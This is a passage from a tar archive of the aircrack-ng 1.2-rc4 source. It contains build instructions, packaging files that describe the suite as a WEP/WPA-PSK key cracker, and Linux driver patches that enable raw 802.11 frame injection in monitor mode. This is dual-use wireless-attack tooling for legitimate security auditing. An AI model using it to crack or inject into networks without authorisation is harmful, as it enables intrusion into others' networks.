$(@) clean: @echo Nothing to do aircrack-ng-1.2-rc4/INSTALLING0000644000000000000000000001007312656037263014323 0ustar rootroot=== Requirements === * OpenSSL development package or libgcrypt development package. * Airmon-ng (Linux) requires ethtool. * On windows, cygwin has to be used and it also requires w32api package. * Linux: LibNetlink 1 or 3. It can be disabled by setting the flag 'libnl' to false. * pkg-config (pkgconf on FreeBSD) * FreeBSD, OpenBSD, NetBSD, Solaris and OS X with macports: gmake * Linux/Cygwin: make === Optional stuff === * If you want SSID filtering with regular expression in airodump-ng (-essid-regex) pcre development package is required. * If you want to use airolib-ng and '-r' option in aircrack-ng, SQLite development package >= 3.3.17 (3.6.X version or better is recommended) * If you want to use Airpcap, the 'developer' directory from the CD is required. * For best performance on FreeBSD (50-70% more), install gcc5 via: pkg install gcc5 Then compile with: gmake CC=gcc5 CXX=g++5 * rfkill === Compiling === * Compilation: make * Compilation on *BSD or Solaris: gmake * Strip debugging symbols: make strip * Installing: make install * Uninstall: make uninstall ==== Makefile flags ==== When compile and installing, the following flags can be used and combined to compile and install the suite (by setting them to true): * sqlite: Compile airolib-ng and add support for airolib-ng databases in aircrack-ng: - Debian based distro: libsqlite3-dev - FreeBSD: sqlite3 * airpcap: needed for supporting airpcap devices on windows (cygwin only) REQUIREMENT: Copy 'developers' directory from Airpcap CD one level below this INSTALLING file Note: Not working yet. * experimental: needed to compile tkiptun-ng, easside-ng (and buddy-ng), wesside-ng and besside-ng. Building besside-ng-crawler requires LibPCAP (development package). On Debian based distributions: libpcap-dev * ext_scripts: needed to build airoscript-ng, versuck-ng, airgraph-ng and airdrop-ng. Note: Experimental. Each script has its own dependences. Note: It's only required in install phase. * gcrypt: Use libgcrypt crypto library instead of the default OpenSSL. And also use internal fast sha1 implementation (borrowed from GIT) Dependency (Debian): libgcrypt20-dev * libnl: Add support for netlink (nl80211). Linux only. Requires libnl1 OR libnl3. Enabled by default. Dependencies (debian): LibNL 1: libnl-dev LibNL 3: libnl-3-dev and libnl-genl-3-dev. * pcre: Add support for regular expression matching for ESSID in airodump-ng and besside-ng. Dependencies: - Debian based distro: libpcre3-dev - FreeBSD: pcre * duma: Compile with DUMA support. DUMA is a library to detect buffer overruns and under-runs. Dependencies (debian): duma * xcode: Set this flag to true to compile on OS X with Xcode 7+. * macport: Set this flag to true to compile on OS X with macports. Example: * Compiling: make sqlite=true experimental=true pcre=true * Compiling with gcrypt make gcrypt=true * Installing: make sqlite=true pcre=true experimental=true install * Installing, with external scripts: make sqlite=true pcre=true experimental=true ext_scripts=true * Testing (with sqlite, experimental and pcre) make sqlite=true experimental=true pcre=true check * Compiling on OS X with macports (and all options): gmake macport=true sqlite=true experimental=true pcre=true * Compiling on FreeBSD with better performance gmake CC=gcc5 CXX=g++5 === Using precompiled binaries === Linux/BSD: * Use your package manager to download aircrack-ng * In most cases, they have an old version. Windows: * Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data). * aircrack-ng suite is command line tools. So, you have to open a commandline (Start menu -> Run... -> cmd.exe) then use them * Run the executables without any parameters to have help aircrack-ng-1.2-rc4/evalrev0000755000000000000000000000100512147530441014310 0ustar rootroot#!/bin/sh DIR=$1 if [ x$DIR = "x" ] then DIR="." fi if [ ! -d "${DIR}/.svn/" ] then echo "0" exit ; fi REVISION="`svnversion $DIR 2> /dev/null | sed 's/[^0-9]*//g'`" if [ x$REVISION = "x" ] then REVISION="`svn info $DIR 2> /dev/null | grep -i revision | sed 's/[^0-9]*//g'`" fi if [ x$REVISION = "x" ] then if [ -f "${DIR}/.svn/entries" ] then REVISION="`cat ${DIR}/.svn/entries | grep -i revision | head -n 1 | sed 's/[^0-9]*//g'`" fi fi if [ x$REVISION = "x" ] then REVISION="-1" fi echo $REVISION aircrack-ng-1.2-rc4/packages/0000755000000000000000000000000012660222376014505 5ustar rootrootaircrack-ng-1.2-rc4/packages/PKGBUILD0000644000000000000000000000101412511725261015621 0ustar rootroot# Contributor: ice-man pkgname=aircrack-ng pkgver=1.2-rc2 pkgrel="1" pkgdesc="aircrack is an 802.11 WEP and WPA-PSK keys cracking program that can recover this keys once enough encrypted packets have been captured." source=(http://download.aircrack-ng.org/$pkgname-$pkgver.tar.gz) url="http://www.aircrack-ng.org" license="GPL" build() { cd $startdir/src/$pkgname-$pkgver make make prefix=/usr docdir="/usr/share/doc/$pkgname-$pkgver" destdir="$startdir/pkg/" install } aircrack-ng-1.2-rc4/packages/aircrack-ng.spec0000644000000000000000000001106612511725261017542 0ustar rootroot%define _rel final # these bits are constant across distributions # Name: aircrack-ng Version: 1.2-rc2 Summary: Reliable 802.11 (wireless) sniffer and WEP/WPA-PSK key cracker License: GPL Source: http://dl.aircrack-ng.org/%{name}-%{version}.tar.gz URL: http://www.aircrack-ng.org/ BuildRoot: %{_tmppath}/%{name}-%{version}-build Packager: David Bolt Requires: openssl-devel glibc >= 2 # define the package groups. If they all followed the LSB these would be the same, but they aren't :( # %define suse_group Productivity/Networking/Other %define mandriva_group Productivity/Networking/Other %define fedora_group Productivity/Networking/Other # just in case we're not building on a (open)SUSE, Mandriva or Fedora system. # %define rel %{_rel} # figure out which distribution we're being built on. choices so far are (open)SUSE, Mandriva and Fedora Core. # %define _suse %(if [ -f /etc/SuSE-release ]; then echo 1; else echo 0; fi) %define _mandriva %(if [ -f /etc/mandriva-release ]; then echo 1; else echo 0; fi) %define _fedora %(if [ -f /etc/fedora-release ]; then echo 1; else echo 0; fi) # interesting facts: Mandriva includes /etc/redhat-release, as does Fedora. # This means any builds for redhat are going to need to parse /etc/redhat-release # to make sure they're being built on a redhat system %if %{_suse} %define _mandriva 0 %define _fedora 0 %endif %if %{_mandriva} %define _fedora 0 %endif # now for some distribution-specific modifications. # # these include making a distro-specific release number # # building on a (open)SUSE Linux system so make a release identifier for the (open)SUSE version # %if %_suse %define _suse_version %(grep VERSION /etc/SuSE-release|cut -f3 -d" ") %define _suse_vernum %(echo "%{_suse_version}"|tr -d '.') %define rel %{_rel}.suse%{_suse_vernum} %define _distribution SUSE Linux %{_suse_version} %define group %{suse_group} # distro name change for SUSE >= 10.2 to openSUSE # %if %suse_version >= 1020 %define _distribution openSUSE %{_suse_version} %endif # not defined by SUSE/Novell but useful to have # %define _icondir %{_datadir}/pixmaps/ %endif # building on a Mandriva/Mandrake Linux system so use the standard Mandriva release string # # this is experimental and untested as yet, but should work. # %if %{_mandriva} %define _mandriva_version %(cat /etc/mandriva-release|cut -f4 -d" ") %define _distribution Mandriva %{_mandriva_version} %define rel %{_rel}.mdv %define group %{mandriva_group} %endif # building on a Fedora Core Linux system. not sure if there's a release string, but create one anyway # # this is experimental and untested as yet, but should work. # %if %{_fedora} %define _fedora_version %(cat /etc/fedora-release|cut -f3 -d" ") %define _distribution Fedora Core %{_fedora_version} %define rel %{_rel}.fc%{_fedora_version} %define group %{fedora_group} %endif # while these few are (relatively) distro-specific # Group: %{group} Release: %{rel} %{?_distribution:Distribution:%{_distribution}} %description aircrack-ng is a set of tools for auditing wireless networks. It's an enhanced/reborn version of aircrack. It consists of airodump-ng (an 802.11 packet capture program), aireplay-ng (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), airdecap-ng (decrypts WEP/WPA capture files), and some tools to handle capture files (merge, convert, etc.). %prep %setup -q %build make %{?_smp_mflags} sqlite=true pcre=true experimental=true %install rm -rf $RPM_BUILD_ROOT mkdir $RPM_BUILD_ROOT make install DESTDIR=$RPM_BUILD_ROOT prefix=%{_prefix} mandir=%{_mandir}/man1 sqlite=true pcre=true experimental=true cd $RPM_BUILD_ROOT find . -type d | sed '1,2d;s,^\.,\%attr(-\,root\,root) \%dir ,' > %{_builddir}/file.list.%{name} find . -type f | sed 's,^\.,\%attr(-\,root\,root) ,' | grep -v /man/ >> %{_builddir}/file.list.%{name} find . -type l | sed 's,^\.,\%attr(-\,root\,root) ,' >> %{_builddir}/file.list.%{name} %files -f %{_builddir}/file.list.%{name} %doc ChangeLog INSTALLING README LICENSE AUTHORS VERSION %doc test %doc patches %{_mandir}/man1/* %clean rm -rf $RPM_BUILD_ROOT %changelog * Sun Jan 29 2009 Xury aircrack-ng-1.0-rc3 - small fix and update spec file * Mon Jun 26 2006 David Bolt aircrack-ng-0.6 - Removed patch as no longer needed for SUSE 10.1 (GCC 4.1.2) * Fri Jun 2 2006 David Bolt aircrack-ng-0.5 - Patched source to build properly on SUSE 10.1 (GCC 4.1.2) * Thu Mar 30 2006 David Bolt - First package built for SUSE aircrack-ng-1.2-rc4/packages/slack-desc0000644000000000000000000000116410761053203016432 0ustar rootroot |-handy-ruler------------------------------------------------------| aircrack-ng: Aircrack-ng aircrack-ng: aircrack-ng: aircrack-ng is a set of tools for auditing wireless networks. aircrack-ng: It's an enhanced/reborn version of aircrack. aircrack-ng: It consists of airodump-ng (an 802.11 packet capture program), aircrack-ng: aireplay-ng (an 802.11 packet injection program), aircrack-ng: aircrack-ng (static WEP and WPA-PSK cracking), airdecap-ng aircrack-ng: (decrypts WEP/WPA capture files), and some tools to handle aircrack-ng: capture files (merge, convert, etc.). aircrack-ng: aircrack-ng: aircrack-ng: aircrack-ng-1.2-rc4/patches/0000755000000000000000000000000012660222374014354 5ustar rootrootaircrack-ng-1.2-rc4/patches/rt73_2.6.27.patch0000644000000000000000000001053511050372022017000 0ustar rootrootdiff -Naur rt73-k2wrlz-3.0.1/Module/rtmp_info.c rt73-k2wrlz-3.0.1_rawtx/Module/rtmp_info.c --- rt73-k2wrlz-3.0.1/Module/rtmp_info.c 2008-07-24 02:05:27.000000000 +0200 +++ rt73-k2wrlz-3.0.1_rawtx/Module/rtmp_info.c 2008-08-12 22:30:20.000000000 +0200 @@ -682,7 +682,11 @@ memcpy(iwe.u.ap_addr.sa_data, &pAdapter->ScanTab.BssEntry[i].Bssid, ETH_ALEN); previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev,end_buf, &iwe, IW_EV_ADDR_LEN); +#else current_ev = iwe_stream_add_event(current_ev,end_buf, &iwe, IW_EV_ADDR_LEN); +#endif if (current_ev == previous_ev) break; @@ -694,7 +698,11 @@ iwe.u.data.flags = 1; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev,end_buf, &iwe, pAdapter->ScanTab.BssEntry[i].Ssid); +#else current_ev = iwe_stream_add_point(current_ev,end_buf, &iwe, pAdapter->ScanTab.BssEntry[i].Ssid); +#endif if (current_ev == previous_ev) break; @@ -717,7 +725,11 @@ iwe.len = IW_EV_UINT_LEN; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev, end_buf, &iwe, IW_EV_UINT_LEN); +#else current_ev = iwe_stream_add_event(current_ev, end_buf, &iwe, IW_EV_UINT_LEN); +#endif if (current_ev == previous_ev) break; @@ -733,7 +745,11 @@ iwe.u.freq.i = 0; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev,end_buf, &iwe, IW_EV_FREQ_LEN); +#else current_ev = iwe_stream_add_event(current_ev,end_buf, &iwe, IW_EV_FREQ_LEN); +#endif if (current_ev == previous_ev) break; @@ -747,7 +763,11 @@ iwe.u.data.flags = IW_ENCODE_DISABLED; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf,&iwe, (char *)pAdapter->SharedKey[(iwe.u.data.flags & IW_ENCODE_INDEX)-1].Key); +#else current_ev = iwe_stream_add_point(current_ev, end_buf,&iwe, (char *)pAdapter->SharedKey[(iwe.u.data.flags & IW_ENCODE_INDEX)-1].Key); +#endif if (current_ev == previous_ev) break; @@ -762,9 +782,15 @@ { iwe.u.bitrate.value = RateIdToMbps[pAdapter->ScanTab.BssEntry[i].SupRate[i]/2] * 1000000; iwe.u.bitrate.disabled = 0; +#if WIRELESS_EXT >= 22 + current_val = iwe_stream_add_value(info, current_ev, + current_val, end_buf, &iwe, + IW_EV_PARAM_LEN); +#else current_val = iwe_stream_add_value(current_ev, current_val, end_buf, &iwe, IW_EV_PARAM_LEN); +#endif } @@ -817,9 +843,15 @@ } iwe.u.bitrate.value = max_rate * 500000; iwe.u.bitrate.disabled = 0; +#if WIRELESS_EXT >= 22 + current_val = iwe_stream_add_value(info, current_ev, + current_val, end_buf, &iwe, + IW_EV_PARAM_LEN); +#else current_val = iwe_stream_add_value(current_ev, current_val, end_buf, &iwe, IW_EV_PARAM_LEN); +#endif if((current_val-current_ev)>IW_EV_LCP_LEN) current_ev = current_val; else @@ -833,7 +865,11 @@ if (iwe.u.data.length) { previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf, &iwe, custom); +#else current_ev = iwe_stream_add_point(current_ev, end_buf, &iwe, custom); +#endif if (current_ev == previous_ev) break; } @@ -844,7 +880,11 @@ set_quality(pAdapter, &iwe.u.qual, pAdapter->ScanTab.BssEntry[i].Rssi); previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev, end_buf, &iwe, IW_EV_QUAL_LEN); +#else current_ev = iwe_stream_add_event(current_ev, end_buf, &iwe, IW_EV_QUAL_LEN); +#endif if (current_ev == previous_ev) break; @@ -859,7 +899,11 @@ if (iwe.u.data.length) { previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf, &iwe, custom); +#else current_ev = iwe_stream_add_point(current_ev, end_buf, &iwe, custom); +#endif if (current_ev == previous_ev) break; } @@ -5703,7 +5747,7 @@ //UCHAR TmpPhy = pAd->PortCfg.PhyMode; //pAd->PortCfg.PhyMode = 0xff; //RTMPSetPhyMode(pAd, TmpPhy); - + } sprintf(msg+strlen(msg), "\n\nChannel | Tx Power\n-------------------\n"); aircrack-ng-1.2-rc4/patches/mac80211_2.6.26-rc8-wl_frag.patch0000644000000000000000000000134311031533734021452 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 345d6ff..20c604d 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -278,6 +278,15 @@ static ieee80211_tx_result ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + struct ieee80211_tx_info *info = IEEE80211_SKB_CB(tx->skb); + + /* + * don't touch sequence numbers on raw monitor interfaces + */ + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + (tx->sdata->vif.type == IEEE80211_IF_TYPE_MNTR) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) + return TX_CONTINUE; if (ieee80211_hdrlen(hdr->frame_control) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.2-rc4/patches/ath5k-injection-2.6.27-rc2.patch0000644000000000000000000000120711050052432021573 0ustar rootrootdiff --git a/drivers/net/wireless/ath5k/base.c b/drivers/net/wireless/ath5k/base.c index 217d506..4e7a949 100644 --- a/drivers/net/wireless/ath5k/base.c +++ b/drivers/net/wireless/ath5k/base.c @@ -1219,7 +1219,9 @@ ath5k_txbuf_setup(struct ath5k_softc *sc, struct ath5k_buf *bf) bf->skbaddr = pci_map_single(sc->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); - if (info->flags & IEEE80211_TX_CTL_NO_ACK) + if (info->flags & IEEE80211_TX_CTL_NO_ACK || + (info->flags & IEEE80211_TX_CTL_INJECTED && + !(ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control)))) flags |= AR5K_TXDESC_NOACK; pktlen = skb->len; aircrack-ng-1.2-rc4/patches/madwifi-old-r1417.patch0000644000000000000000000001015210761053203020335 0ustar rootrootdiff -ur madwifi-old/ath/if_ath.c patched_madwifi-old/ath/if_ath.c --- madwifi-old/ath/if_ath.c 2006-03-22 21:31:58.814779008 +0100 +++ patched_madwifi-old/ath/if_ath.c 2006-03-22 21:35:10.049706880 +0100 @@ -1436,7 +1436,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1499,6 +1499,13 @@ if (index >= 0 && index < rt->rateCount) { txrate = rt->info[index].rateCode; } + } else { + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } } wh = (struct ieee80211_frame *) skb->data; diff -ur madwifi-old/ath/if_ath_pci.c patched_madwifi-old/ath/if_ath_pci.c --- madwifi-old/ath/if_ath_pci.c 2006-03-22 21:31:58.799781288 +0100 +++ patched_madwifi-old/ath/if_ath_pci.c 2006-03-22 21:36:54.983754480 +0100 @@ -100,12 +100,16 @@ { 0xa727, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com */ { 0x10b7, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com 3CRDAG675 */ { 0x168c, 0x1014, PCI_ANY_ID, PCI_ANY_ID }, /* IBM minipci 5212 */ + { 0x168c, 0x101a, PCI_ANY_ID, PCI_ANY_ID }, /* some Griffin-Lite */ { 0x168c, 0x0015, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0016, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0017, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0018, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0019, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x001a, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001b, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001c, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express 5424 */ + { 0x168c, 0x001d, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express ??? */ { 0 } }; diff -ur madwifi-old/net80211/ieee80211_crypto.c patched_madwifi-old/net80211/ieee80211_crypto.c --- madwifi-old/net80211/ieee80211_crypto.c 2006-03-22 21:31:48.848294144 +0100 +++ patched_madwifi-old/net80211/ieee80211_crypto.c 2006-03-22 21:39:22.456335240 +0100 @@ -299,6 +299,11 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) { + flags |= IEEE80211_KEY_SWCRYPT; + } + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur madwifi-old/net80211/ieee80211_var.h patched_madwifi-old/net80211/ieee80211_var.h --- madwifi-old/net80211/ieee80211_var.h 2006-03-22 21:31:48.912284416 +0100 +++ patched_madwifi-old/net80211/ieee80211_var.h 2006-03-22 21:40:24.490904552 +0100 @@ -212,6 +212,8 @@ struct net_device *ic_wdsdev[IEEE80211_WDS_MAXNODES]; /* only wds traffic is allowed */ int ic_wdsonly; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur madwifi-old/net80211/ieee80211_wireless.c patched_madwifi-old/net80211/ieee80211_wireless.c --- madwifi-old/net80211/ieee80211_wireless.c 2006-03-22 21:31:48.880289280 +0100 +++ patched_madwifi-old/net80211/ieee80211_wireless.c 2006-03-22 21:47:46.026780896 +0100 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.2-rc4/patches/ath5k-radiotap-fragfix-2.6.28-rc8-wl.patch0000644000000000000000000000262011121505706023475 0ustar rootrootdiff --git a/drivers/net/wireless/ath5k/attach.c b/drivers/net/wireless/ath5k/attach.c index 51d5698..49d82d7 100644 --- a/drivers/net/wireless/ath5k/attach.c +++ b/drivers/net/wireless/ath5k/attach.c @@ -317,9 +317,16 @@ struct ath5k_hw *ath5k_hw_attach(struct ath5k_softc *sc, u8 mac_version) goto err_free; } + /* Set MAC address */ + ret = ath5k_eeprom_read_mac(ah, mac); + if (ret) { + ATH5K_ERR(sc, "unable to read address from EEPROM: 0x%04x\n", + sc->pdev->device); + goto err_free; + } + - /* MAC address is cleared until add_interface */ ath5k_hw_set_lladdr(ah, mac); /* Set BSSID to bcast address: ff:ff:ff:ff:ff:ff for now */ memset(ah->ah_bssid, 0xff, ETH_ALEN); ath5k_hw_set_associd(ah, ah->ah_bssid, 0); diff --git a/drivers/net/wireless/ath5k/base.c b/drivers/net/wireless/ath5k/base.c index 9eb9871..ec0104f 100644 --- a/drivers/net/wireless/ath5k/base.c +++ b/drivers/net/wireless/ath5k/base.c @@ -1182,7 +1182,9 @@ ath5k_txbuf_setup(struct ath5k_softc *sc, struct ath5k_buf *bf) bf->skbaddr = pci_map_single(sc->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); - if (info->flags & IEEE80211_TX_CTL_NO_ACK) + if ((info->flags & IEEE80211_TX_CTL_NO_ACK) && + !((info->flags & IEEE80211_TX_CTL_INJECTED) && + (ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control)))) flags |= AR5K_TXDESC_NOACK; pktlen = skb->len; aircrack-ng-1.2-rc4/patches/linux-wlanng-0.2.8.patch0000644000000000000000000003146010761053203020460 0ustar rootrootdiff -ur linux-wlan-ng-0.2.8/src/p80211/p80211netdev.c linux-wlan-ng-0.2.8-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.8/src/p80211/p80211netdev.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/p80211/p80211netdev.c 2007-05-19 13:57:58.000000000 +0200 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -951,8 +951,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x.c 2007-05-19 13:57:58.000000000 +0200 @@ -1873,8 +1873,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3114,12 +3122,33 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3142,7 +3171,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3587,6 +3617,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: hfa384x.c.orig diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x_usb.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x_usb.c 2007-05-19 13:57:58.000000000 +0200 @@ -1430,8 +1430,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + // cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + // HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3431,37 +3439,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + // hw->txbuff.txfrm.desc.tx_control = + // host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + // /* copy the header over to the txdesc */ + // memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + 